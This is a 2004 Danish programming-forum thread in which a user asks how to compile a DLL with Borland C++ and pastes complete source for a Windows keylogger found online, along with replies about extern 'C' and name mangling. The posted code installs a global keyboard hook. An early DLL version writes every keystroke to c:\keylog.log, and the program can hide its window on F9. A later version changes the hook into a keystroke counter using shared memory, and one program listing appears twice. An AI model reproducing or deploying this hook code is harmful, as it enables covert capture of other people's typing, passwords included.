Avatar billede jakobdo Ekspert
07. juni 2004 - 10:58 Der er 31 kommentarer og
1 løsning

Kompile DLL med Borland C++ Freecompiler 5.5

Hej,
jeg sidder her med noget kode, som skal kompileres til en DLL
(jeg har den færdige dll - hentet fra nettet)
Men ville gerne kompilere den selv.
Og med bcc32 virker dll'en ikke!

jeg har forsøgt med:

bcc32 -twd dll.cpp

Men filer bliver på 48kb!
Den jeg hentede på nettet var 44kb!

Og mit program fejler i GetProcAddress, hvilket den ikke gør med den fra nettet...

Hjælp anyone?
Avatar billede arne_v Ekspert
07. juni 2004 - 11:05 #1
Jeg har brugt følgende til at lave DLL'er med BCC:

bcc32 -c foobar.c
ilink32 -Tpd foobar.obj c0d32.obj,foobar.dll,,cw32.lib import32.lib
Avatar billede jakobdo Ekspert
07. juni 2004 - 11:54 #2
Jeg tilføjede "bare":

extern "C"
{

}

omkring koden,
og så: __declspec(dllexport)
foran funktionen/funktionerne...

Og nu virker det! :o/ Mærkeligt... (jeg er ikke den store Dll-haj)
Eller generelt ikke ret stor HAJ!

Og bcc32 -tWD dll.cpp eller bcc32 -WD dll.cpp virker fint nok!
Avatar billede arne_v Ekspert
07. juni 2004 - 11:58 #3
__declspec(dllexport)

er vel nødvendig for at symbolerne bliver eksporteret så den kan bruges
udenfor DLL'en.

extern "C"
{
}

er næppe nødvendig men ændrer navnene fra C++ til C og er derfor nødvendig
hvis det der kalder GetProcAddress forventer C navne (det gør den nok).
Avatar billede jakobdo Ekspert
07. juni 2004 - 11:59 #4
Jeg ved ikke så meget om DLL'er, så prøver lige at fjerne extern "C"...
Avatar billede jakobdo Ekspert
07. juni 2004 - 12:03 #5
Det virker ikke uden! Du får lige koden:

//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit the dll project file in order to capture all the keystokes.



# include <windows.h>

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
BOOL CALLBACK em( HWND, LPCTSTR, HANDLE);

HWND hwnd;
MSG msg;
WNDCLASS wc;
int count;
LPCTSTR arr[225];

int WINAPI WinMain(HINSTANCE hinst,HINSTANCE hprev,LPSTR line,int cmd)
{
    count=1;
    wc.lpfnWndProc=WndProc;
    wc.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);
    wc.hCursor=LoadCursor(0,IDC_ARROW);
    wc.lpszClassName="KeyLogger";
    wc.hIcon=LoadIcon(0,IDI_APPLICATION);
    if (RegisterClass(&wc) == 0)
    {
        MessageBox(NULL,"Error - RegisterClass","Error",MB_OK);
        return FALSE;
    }


    hwnd=CreateWindow("KeyLogger","KeyLogger - Jakob Olsen",WS_OVERLAPPEDWINDOW,10,10,250,75,0,0,hinst,0);
    if (hwnd == NULL)
    {
        MessageBox(NULL,"Error - CreateWindow (HWND)","Error",MB_OK);
        return FALSE;
    }
   
    HWND hwnd2= CreateWindowEx(0,"Static","Press F9 to Hide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,0,150,20,hwnd,0,hinst,0);
    if (hwnd2 == NULL)
    {
        MessageBox(NULL,"Error - CreateWindow (HWND2)","Error",MB_OK);
        return FALSE;
    }
   
    HWND hwnd3= CreateWindowEx(0,"Static","Press F10 to UnHide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,20,150,20,hwnd,0,hinst,0);
    if (hwnd3 == NULL)
    {
        MessageBox(NULL,"Error - CreateWindow (HWND3)","Error",MB_OK);
        return FALSE;
    }

    ShowWindow(hwnd,SW_NORMAL);
    SetTimer(hwnd,1,125,0);
    FARPROC        KeylogHookProc;
    HINSTANCE    KeylogDLL;
    HHOOK        KeylogHook;


    KeylogDLL=LoadLibrary("keylogger.dll");
    if (KeylogDLL == NULL)
    {
        MessageBox(NULL,"Error - LoadLibrary","Error",MB_OK);
        return FALSE;
    }

    KeylogHookProc=GetProcAddress(KeylogDLL,"KeyboardHookProc");
    if (KeylogHookProc == NULL)
    {
        MessageBox(NULL,"Error - GetProcAddress","Error",MB_OK);
        return FALSE;
    }
   
    KeylogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeylogHookProc,KeylogDLL,NULL);
    if (KeylogHook == NULL)
    {
        MessageBox(NULL,"Error - SetWindowsHookEx","Error",MB_OK);
        return FALSE;
    }

    while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return(0);
}

LRESULT CALLBACK WndProc(HWND hwnd1,UINT msg1,WPARAM w_param,LPARAM l_param)
{

    if (msg1==WM_DESTROY)
        PostQuitMessage(0);
    if(msg1==WM_TIMER)
    {
        if (GetAsyncKeyState(VK_F9))
            ShowWindow(hwnd,SW_HIDE);
        if (GetAsyncKeyState(VK_F10))
            ShowWindow(hwnd,SW_SHOWNORMAL);
    }
    return DefWindowProc(hwnd1,msg1,w_param,l_param);
}//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit the dll project file in order to capture all the keystokes.



# include <windows.h>

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
BOOL CALLBACK em( HWND, LPCTSTR, HANDLE);

HWND hwnd;
MSG msg;
WNDCLASS wc;
int count;
LPCTSTR arr[225];

int WINAPI WinMain(HINSTANCE hinst,HINSTANCE hprev,LPSTR line,int cmd)
{
    count=1;
    wc.lpfnWndProc=WndProc;
    wc.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);
    wc.hCursor=LoadCursor(0,IDC_ARROW);
    wc.lpszClassName="KeyLogger";
    wc.hIcon=LoadIcon(0,IDI_APPLICATION);
    if (RegisterClass(&wc) == 0)
    {
        MessageBox(NULL,"Error - RegisterClass","Error",MB_OK);
        return FALSE;
    }


    hwnd=CreateWindow("KeyLogger","KeyLogger - Venky Dude",WS_OVERLAPPEDWINDOW,10,10,250,75,0,0,hinst,0);
    if (hwnd == NULL)
    {
        MessageBox(NULL,"Error - CreateWindow (HWND)","Error",MB_OK);
        return FALSE;
    }
   
    HWND hwnd2= CreateWindowEx(0,"Static","Press F9 to Hide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,0,150,20,hwnd,0,hinst,0);
    if (hwnd2 == NULL)
    {
        MessageBox(NULL,"Error - CreateWindow (HWND2)","Error",MB_OK);
        return FALSE;
    }
   
    HWND hwnd3= CreateWindowEx(0,"Static","Press F10 to UnHide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,20,150,20,hwnd,0,hinst,0);
    if (hwnd3 == NULL)
    {
        MessageBox(NULL,"Error - CreateWindow (HWND3)","Error",MB_OK);
        return FALSE;
    }

    ShowWindow(hwnd,SW_NORMAL);
    SetTimer(hwnd,1,125,0);
    FARPROC        KeylogHookProc;
    HINSTANCE    KeylogDLL;
    HHOOK        KeylogHook;


    KeylogDLL=LoadLibrary("keylogger.dll");
    if (KeylogDLL == NULL)
    {
        MessageBox(NULL,"Error - LoadLibrary","Error",MB_OK);
        return FALSE;
    }

    KeylogHookProc=GetProcAddress(KeylogDLL,"KeyboardHookProc");
    if (KeylogHookProc == NULL)
    {
        MessageBox(NULL,"Error - GetProcAddress","Error",MB_OK);
        return FALSE;
    }
   
    KeylogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeylogHookProc,KeylogDLL,NULL);
    if (KeylogHook == NULL)
    {
        MessageBox(NULL,"Error - SetWindowsHookEx","Error",MB_OK);
        return FALSE;
    }

    while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return(0);
}

LRESULT CALLBACK WndProc(HWND hwnd1,UINT msg1,WPARAM w_param,LPARAM l_param)
{

    if (msg1==WM_DESTROY)
        PostQuitMessage(0);
    if(msg1==WM_TIMER)
    {
        if (GetAsyncKeyState(VK_F9))
            ShowWindow(hwnd,SW_HIDE);
        if (GetAsyncKeyState(VK_F10))
            ShowWindow(hwnd,SW_SHOWNORMAL);
    }
    return DefWindowProc(hwnd1,msg1,w_param,l_param);
}

DLL'en:

//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit this file in order to capture all the keystokes.


#include <windows.h>
#include <fstream.h>
bool casematch;
SHORT ad;

extern "C"
{
__declspec(dllexport) LRESULT CALLBACK KeyboardHookProc( int code,WPARAM key, LPARAM lParam)
{
    ofstream out;
    out.open("c:\\keylog.log",ofstream::out | ofstream::app);
    if (code != HC_NOREMOVE)
        if (lParam<0)
            //if (((key>45) && (key<91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key
        {
            char res;
            res=char(key);
            ad=GetKeyState(VK_SHIFT);
            if (ad < 0)
                casematch= TRUE;
            else
              casematch=FALSE;
          if (casematch==FALSE)
              strlwr(&res);
            if (casematch==TRUE)
              strupr(&res);
            out<<res;
        }
    out.close();
    flush(out); 
    return CallNextHookEx(NULL, code, key, lParam);
}
}

Jeg forsøger at lave en KeyStroke Counter... (så det er ikke noget fusk) :o)
Avatar billede arne_v Ekspert
07. juni 2004 - 12:03 #6
Du kan kun fjerne extern "C" hvis det der kalder bruger C++ navnet til at finde
funktionen med.

Og det er næppe tilfællet med GetProcAddress.

Men hvis du skulle linke C++ kode mod et DLL me dtilhørende LIB, så
var det en anden sag.
Avatar billede jakobdo Ekspert
07. juni 2004 - 12:06 #7
Hmmm, det virker jo med Extern "C"{} så det kan jeg vel bare bruge...
Men jeg synes jo ellers koden er C++, eller hvad?
Avatar billede arne_v Ekspert
07. juni 2004 - 12:20 #8
C++ kan godt bruge C navne.

Det eneste du ikke kan med extern "C" er at lave 2 funktioner med samme
navn men forskellige argumenter.

Det kan man i C++ men ikke i C.

Men man kan jo stadigvæk skrive sin C++ kode så man ikke har brug for
den feature.
Avatar billede jakobdo Ekspert
07. juni 2004 - 12:25 #9
Hvorfor virker min kode så ikke uden extern "c"?
Avatar billede jakobdo Ekspert
07. juni 2004 - 12:28 #10
En anden ting, hvorfor skal det lægges i en DLL?
Kan jeg ikke putte det hele i en source og dermed kun have en exe fil, og ikke skulle bruge DLL'en?
Avatar billede jakobdo Ekspert
07. juni 2004 - 12:42 #11
Hvis jeg nu ønsker hovedprogrammet skal have en form for tæller, hvordan laver jeg så det?

Altså noget ala:

-HOVEDPROGRAM-
Antal Tastetryk siden opstart/nulstil: 27

Kan jeg få dll'en til at returnere denne værdi?
Avatar billede arne_v Ekspert
07. juni 2004 - 12:43 #12
Fordi du angiver et C navn i GetProcAdress.

void foo(int bar)

som C kode bliver typisk til _foo i den oversatte kode

som C++ kode bliver typisk til _foo(int) i den oversatte kode

Og når GetProcAdress skal find enavnet skal man angive det rigtige navn.

C navne er normalt nemme at gætte.

C++ navne er compiler specifikke.

derfor giver det mening at bruge C navn til GetProcAdress (medmindre man er tvunget
til andet)
Avatar billede arne_v Ekspert
07. juni 2004 - 12:44 #13
Jeg ved ikke hvorfor det er i en DLL. Det formoder jeg at du gør.

:-)
Avatar billede arne_v Ekspert
07. juni 2004 - 12:45 #14
Normalt bruger man kun DLL hvis kode skal deles mellem forskellige EXE.

Hvad du muligvis leder efter er:

bcc32 -c foo.cpp
bcc32 -c bar.cpp
ilink32 foo.obj bar.obj

hvor du kan få 2 .cpp (foo.cpp og bar.cpp) lavet til 1 .exe (foo.exe).
Avatar billede jakobdo Ekspert
07. juni 2004 - 12:45 #15
Nej, jeg har fundet koden på nettet, og ville blot modificere den!

Men jeg burde altså godt kunne lægge den i "koden" og ikke i en DLL?

Så må jeg lige kigge lidt nærmere på det!
Avatar billede jakobdo Ekspert
07. juni 2004 - 13:08 #16
Ok, har lige fundet noget info...
Der skal hookes fra en DLL, ellers hooker den ikke, når man skifter program...
Så blev jeg så klog! :o)
Avatar billede jakobdo Ekspert
07. juni 2004 - 14:06 #17
Kan jeg få DLL'en til at returne antaltryk til hovedprogrammet?
Avatar billede arne_v Ekspert
07. juni 2004 - 14:16 #18
Tja - hvorfor ikke ?

(jeg har aldrig arbejde med den slags program)
Avatar billede jakobdo Ekspert
07. juni 2004 - 14:19 #19
Heller ikke mig! :o(
Avatar billede jakobdo Ekspert
07. juni 2004 - 14:24 #20
Har du en ide?

Kan jeg evt lave noget delt memory?
Avatar billede jakobdo Ekspert
07. juni 2004 - 15:43 #21
Har du erfaring med:

// shared data
#pragma data_seg(".SHARED")
    int iAntalTast = 0;
#pragma data_seg()
#pragma COMMENT(linker, "/section:.SHARED,RWS")
// end shared data
Avatar billede jakobdo Ekspert
07. juni 2004 - 15:43 #22
Har nemlig rodet med det, og DLL'en "virker" ok, men når jeg prøver at aflæse iAntalTast fra hovedprogrammet, får jeg NULL :o(
Avatar billede arne_v Ekspert
07. juni 2004 - 18:45 #23
Er problem stillingen:

A.EXE starter
A.EXE kører og bruger FOOBAR.DLL
A.EXE lukker ned
10 minutter
B.EXE starter
B.EXE kører og bruger FOOBAR.DLL
B.EXE lukker ned

og du vil bevare informationen mellem A og B kørslen ?
Avatar billede arne_v Ekspert
07. juni 2004 - 18:50 #24
Den mest oplagte løsning var gem i fil eller database.

Jeg tror faktisk godt at du kan oprette en permanent global memory section, men
er det nødvendigt ?
Avatar billede jakobdo Ekspert
08. juni 2004 - 08:51 #26
Måske er det ikke nødvendigt...
Eftersom jeg gerne vil have hovedprogrammet til løbende at vise antal tastetryk, så skal den jo læse antal ret ofte!

Ligeledes vil DLL'en skrive ved hvert tastetryk, så der vil jeg jo få et kritisk område???
Avatar billede jakobdo Ekspert
08. juni 2004 - 15:40 #27
Avatar billede jakobdo Ekspert
08. juni 2004 - 15:43 #28
Og desværre ikke helt alligevel!
Den tæller antal tastetryk pr vindue...

Måske noget du kan se fejlen på, her kommer koden:

// You May Use this code for educational purposes only(what the heck!!!) ,if u do something big with this code
//do send me a mail and if possible give me credit for this.Comments,Suggestions,Questions???,send it to venky_dude@yahoo.com

//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit the dll project file in order to capture all the keystokes.


#include <stdio.h>
#include <windows.h>

#define SHMEMSIZE 4096

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
void error(LPSTR);
BOOL CALLBACK em(HWND, LPCTSTR, HANDLE);
VOID GetSharedMem(LPTSTR,DWORD);

HWND hwnd;
HWND hwnd4;
MSG msg;
WNDCLASS wc;
LPCTSTR arr[225];


static LPVOID lpvMem = NULL;      // pointer to shared memory
static HANDLE hMapObject = NULL;  // handle to file mapping


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    wc.lpfnWndProc=WndProc;
    wc.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);
    wc.hCursor=LoadCursor(0,IDC_ARROW);
    wc.lpszClassName="KeyLogger";
    wc.hIcon=LoadIcon(0,IDI_APPLICATION);
    RegisterClass(&wc);

    hwnd=CreateWindow("KeyLogger","KeyLogger - Jakob Olsen",WS_OVERLAPPEDWINDOW,10,10,250,90,0,0,hInstance,0);
    if (hwnd == NULL)
        error("CreateWindow1");
       
    HWND hwnd2= CreateWindowEx(0,"Static","Press F9 to Hide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,0,150,20,hwnd,0,hInstance,0);
    if (hwnd2 == NULL)
        error("CreateWindow2");
       
    HWND hwnd3= CreateWindowEx(0,"Static","Press F10 to UnHide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,20,150,20,hwnd,0,hInstance,0);
    if (hwnd3 == NULL)
        error("CreateWindow3");
   
    hwnd4= CreateWindowEx(0,"Static","Antal Tastetryk: 0", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,40,150,20,hwnd,0,hInstance,0);
    if (hwnd4 == NULL)
        error("CreateWindow3");

    ShowWindow(hwnd,nCmdShow );
    SetTimer(hwnd,1,125,0);
    FARPROC    KeylogHookProc;
    HINSTANCE    KeylogDLL;
    HHOOK    KeylogHook;

    KeylogDLL=LoadLibrary("keylogger.dll");
    if (KeylogDLL == NULL)
        error("LoadLibrary");

    KeylogHookProc=GetProcAddress(KeylogDLL,"KeyboardHookProc");
    if (KeylogHookProc == NULL)
        error("GetProcAddress");
       
    KeylogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeylogHookProc,KeylogDLL,NULL);
    if (KeylogHook == NULL)
        error("SetWindowsHookEx");

    while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return(0);
}

LRESULT CALLBACK WndProc(
    HWND hwnd,        // handle to window
    UINT uMsg,        // message identifier
    WPARAM wParam,    // first message parameter
    LPARAM lParam)    // second message parameter
{
    //char cAntalTryk[255];
    TCHAR lpszBuf[256];
    BOOL fInit, fIgnore;
    switch (uMsg)
    {
        case WM_CREATE:
            // Initialize the window.
            // Create a named file mapping object.

            hMapObject = CreateFileMapping(
                INVALID_HANDLE_VALUE, // use paging file
                NULL,                // default security attributes
                PAGE_READWRITE,      // read/write access
                0,                    // size: high 32-bits
                SHMEMSIZE,            // size: low 32-bits
                "dllmemfilemap");    // name of map object
                if (hMapObject == NULL)
                {
                    error("CreateFileMapping");
                    break;
                }

            // The first process to attach initializes memory.

            fInit = (GetLastError() != ERROR_ALREADY_EXISTS);

            // Get a pointer to the file-mapped shared memory.

            lpvMem = MapViewOfFile(
                hMapObject,    // object to map view of
                FILE_MAP_WRITE, // read/write access
                0,              // high offset:  map from
                0,              // low offset:  beginning
                0);            // default: map entire file
            if (lpvMem == NULL)
            {
                error("MapViewOfFile");
                break;
            }

            // Initialize memory if this is the first process.

            if (fInit)
                memset(lpvMem, '\0', SHMEMSIZE);

            break;

        /*case WM_PAINT:
            // Paint the window's client area.
            return 0;

        case WM_SIZE:
            // Set the size and position of the window.
            return 0; */

        case WM_TIMER:
            // Trigger when the timer i running.
            GetSharedMem(lpszBuf,256);
            SetWindowText(hwnd4,lpszBuf);

            if (GetAsyncKeyState(VK_F5))
            {
                GetSharedMem(lpszBuf,256);
                MessageBox(NULL,lpszBuf,"Cool",MB_OK);
            }
            if (GetAsyncKeyState(VK_F9))
                ShowWindow(hwnd,SW_HIDE);
            if (GetAsyncKeyState(VK_F10))
                ShowWindow(hwnd,SW_SHOWNORMAL);
            break;

        case WM_DESTROY:
            // Clean up window-specific data objects.
           
            // Unmap shared memory from the process's address space.
            fIgnore = UnmapViewOfFile(lpvMem);

            // Close the process's handle to the file-mapping object.
            fIgnore = CloseHandle(hMapObject);

            PostQuitMessage(0);
            break;

            //
            // Process other messages.
            //

        default:
            return DefWindowProc(hwnd, uMsg, wParam, lParam);
    }
    return 0;
}

void error(LPSTR lpszFunction)
{
    CHAR szBuf[80];
    DWORD dw = GetLastError();

    sprintf(szBuf, "%s failed: GetLastError returned %u\n", lpszFunction, dw);

    MessageBox(NULL, szBuf, "Error", MB_OK);
    ExitProcess(dw);
}

// GetSharedMem gets the contents of shared memory.
VOID GetSharedMem(LPTSTR lpszBuf, DWORD cchSize)
{
    LPTSTR lpszTmp;

    // Get the address of the shared memory block.
    lpszTmp = (LPTSTR) lpvMem;

    // Copy from shared memory into the caller's buffer.
    while (*lpszTmp && --cchSize)
    {
        *lpszBuf++ = *lpszTmp++;
    }
    *lpszBuf = '\0';
}

DLL-delen:

// You May Use this code for educational purposes only(what the heck!!!) ,if u do something big with this code
//do send me a mail and if possible give me credit for this.Comments,Suggestions,Questions???,send it to venky_dude@yahoo.com

//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit this file in order to capture all the keystokes.


#include <windows.h>
#include <fstream.h>

VOID SetSharedMem(LPTSTR);
void error(LPSTR);

int tasteTryk = 0;

extern "C"
{
    __declspec(dllexport) LRESULT CALLBACK KeyboardHookProc(int code,WPARAM key, LPARAM lParam)
    {
        if (code != HC_NOREMOVE)
      {
            if (lParam<0)
            {
                if (((key>45) && (key<91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key
                {
                    char buf[256];
                    sprintf(buf,"%d",tasteTryk++);
                    //Skriv til mappedfile...
                    SetSharedMem(buf);
                }
            }
        }
        return CallNextHookEx(NULL, code, key, lParam);
    }
}

// SetSharedMem sets the contents of shared memory.
VOID SetSharedMem(LPTSTR lpszBuf)
{
    HANDLE hMapFile;
    LPVOID lpMapAddress;

    hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS, // read/write permission
    FALSE,                            // Do not inherit the name
    "dllmemfilemap");            // of the mapping object.

    if (hMapFile == NULL)
    {
        error("Could not open file mapping object.");
    }

    lpMapAddress = MapViewOfFile(hMapFile, // handle to mapping object
    FILE_MAP_ALL_ACCESS,              // read/write permission
    0,                                // max. object size
    0,                                // size of hFile
    0);                                // map entire file

    if (lpMapAddress == NULL)
    {
    error("Could not map view of file.");
    }

    LPTSTR lpszTmp;

    // Get the address of the shared memory block.
    lpszTmp = (LPTSTR) lpMapAddress;

    // Copy the null-terminated string into shared memory.

    while (*lpszBuf)
    {
        *lpszTmp++ = *lpszBuf++;
    }
    *lpszTmp = '\0';
}

void error(LPSTR lpszFunction)
{
    CHAR szBuf[80];
    DWORD dw = GetLastError();

    sprintf(szBuf, "%s failed: GetLastError returned %u\n", lpszFunction, dw);

    MessageBox(NULL, szBuf, "Error", MB_OK);
    ExitProcess(dw);
}
Avatar billede arne_v Ekspert
08. juni 2004 - 22:49 #29
Jeg er helt blank
Avatar billede jakobdo Ekspert
09. juni 2004 - 08:22 #30
Jeg har løst det med noget crapcode, så jeg læser indholdet af Shared Memory, tæller 1 op, og skriver det til Shared Memory, så nu tæller den korrekt i alle programmer...
Avatar billede jakobdo Ekspert
09. juni 2004 - 08:26 #31
Men Smid er svar Arne_V og du skal få...
Avatar billede arne_v Ekspert
09. juni 2004 - 08:43 #32
ok
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Kurser inden for grundlæggende programmering

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester